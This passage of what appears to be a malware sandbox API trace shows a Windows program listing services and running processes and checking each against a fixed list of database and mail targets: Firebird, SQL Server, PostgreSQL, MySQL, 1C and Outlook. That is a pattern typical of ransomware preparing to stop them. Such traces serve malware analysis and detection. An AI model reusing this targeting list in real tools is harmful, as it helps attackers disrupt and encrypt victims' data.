pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0092.656] GetLastError () returned 0xea [0092.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe3c) returned 0x4089028 [0092.656] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xe3c, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0092.657] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0092.657] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0092.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.657] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0092.657] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0092.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0092.657] lstrlenW (lpString="AudioSrv") returned 8 [0092.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0092.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0092.657] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0092.657] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0092.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0092.657] lstrlenW (lpString="BFE") returned 3 [0092.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0092.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0092.657] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0092.657] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0092.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0092.657] lstrlenW (lpString="CryptSvc") returned 8 [0092.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0092.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0092.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0092.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0092.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0092.657] lstrlenW (lpString="CscService") returned 10 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0092.658] lstrlenW (lpString="DcomLaunch") returned 10 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0092.658] lstrlenW (lpString="Dhcp") returned 4 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0092.658] lstrlenW (lpString="Dnscache") returned 8 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0092.658] lstrlenW (lpString="DPS") returned 3 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0092.658] lstrlenW (lpString="eventlog") returned 8 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0092.658] lstrlenW (lpString="EventSystem") returned 11 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0092.658] lstrlenW (lpString="gpsvc") returned 5 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0092.658] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0092.658] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0092.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0092.658] lstrlenW (lpString="iphlpsvc") returned 8 [0092.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0092.659] lstrlenW (lpString="LanmanWorkstation") returned 17 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0092.659] lstrlenW (lpString="lmhosts") returned 7 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0092.659] lstrlenW (lpString="MMCSS") returned 5 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0092.659] lstrlenW (lpString="MpsSvc") returned 6 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0092.659] lstrlenW (lpString="NlaSvc") returned 6 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0092.659] lstrlenW (lpString="nsi") returned 3 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0092.659] lstrlenW (lpString="PcaSvc") returned 6 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0092.659] lstrlenW (lpString="PlugPlay") returned 8 [0092.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0092.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0092.659] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0092.659] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0092.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0092.660] lstrlenW (lpString="Power") returned 5 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0092.660] lstrlenW (lpString="ProfSvc") returned 7 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0092.660] lstrlenW (lpString="RpcEptMapper") returned 12 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0092.660] lstrlenW (lpString="RpcSs") returned 5 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0092.660] lstrlenW (lpString="SamSs") returned 5 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0092.660] lstrlenW (lpString="Schedule") returned 8 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0092.660] lstrlenW (lpString="SENS") returned 4 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0092.660] lstrlenW (lpString="ShellHWDetection") returned 16 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0092.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0092.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0092.660] lstrlenW (lpString="Spooler") returned 7 [0092.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0092.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0092.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0092.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0092.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0092.661] lstrlenW (lpString="SysMain") returned 7 [0092.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0092.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0092.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0092.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0092.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0092.661] lstrlenW (lpString="Themes") returned 6 [0092.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0092.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0092.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0092.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0092.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0092.661] lstrlenW (lpString="TrkWks") returned 6 [0092.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0092.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0092.661] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0092.661] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0092.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0092.661] lstrlenW (lpString="UxSms") returned 5 [0092.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0092.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0092.661] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0092.661] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0092.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0092.661] lstrlenW (lpString="Winmgmt") returned 7 [0092.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0092.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0092.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0092.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0092.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0092.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0092.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0092.663] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.663] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0092.664] lstrlenW (lpString="System") returned 6 [0092.664] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0092.664] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0092.664] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0092.664] lstrlenW (lpString="smss.exe") returned 8 [0092.664] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0092.664] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0092.664] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0092.665] lstrlenW (lpString="csrss.exe") returned 9 [0092.665] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0092.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0092.665] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0092.665] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0092.665] lstrlenW (lpString="wininit.exe") returned 11 [0092.665] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0092.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0092.665] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0092.665] lstrlenW (lpString="csrss.exe") returned 9 [0092.665] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0092.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0092.665] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0092.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0092.665] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0092.666] lstrlenW (lpString="winlogon.exe") returned 12 [0092.666] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0092.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0092.666] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0092.666] lstrlenW (lpString="services.exe") returned 12 [0092.666] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0092.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0092.666] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0092.666] lstrlenW (lpString="lsass.exe") returned 9 [0092.666] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0092.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0092.666] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0092.666] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0092.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0092.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0092.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0092.667] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0092.667] lstrlenW (lpString="lsm.exe") returned 7 [0092.667] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0092.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0092.667] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0092.667] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0092.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0092.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0092.667] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0092.667] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.667] lstrlenW (lpString="svchost.exe") returned 11 [0092.667] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="outlook.exe", 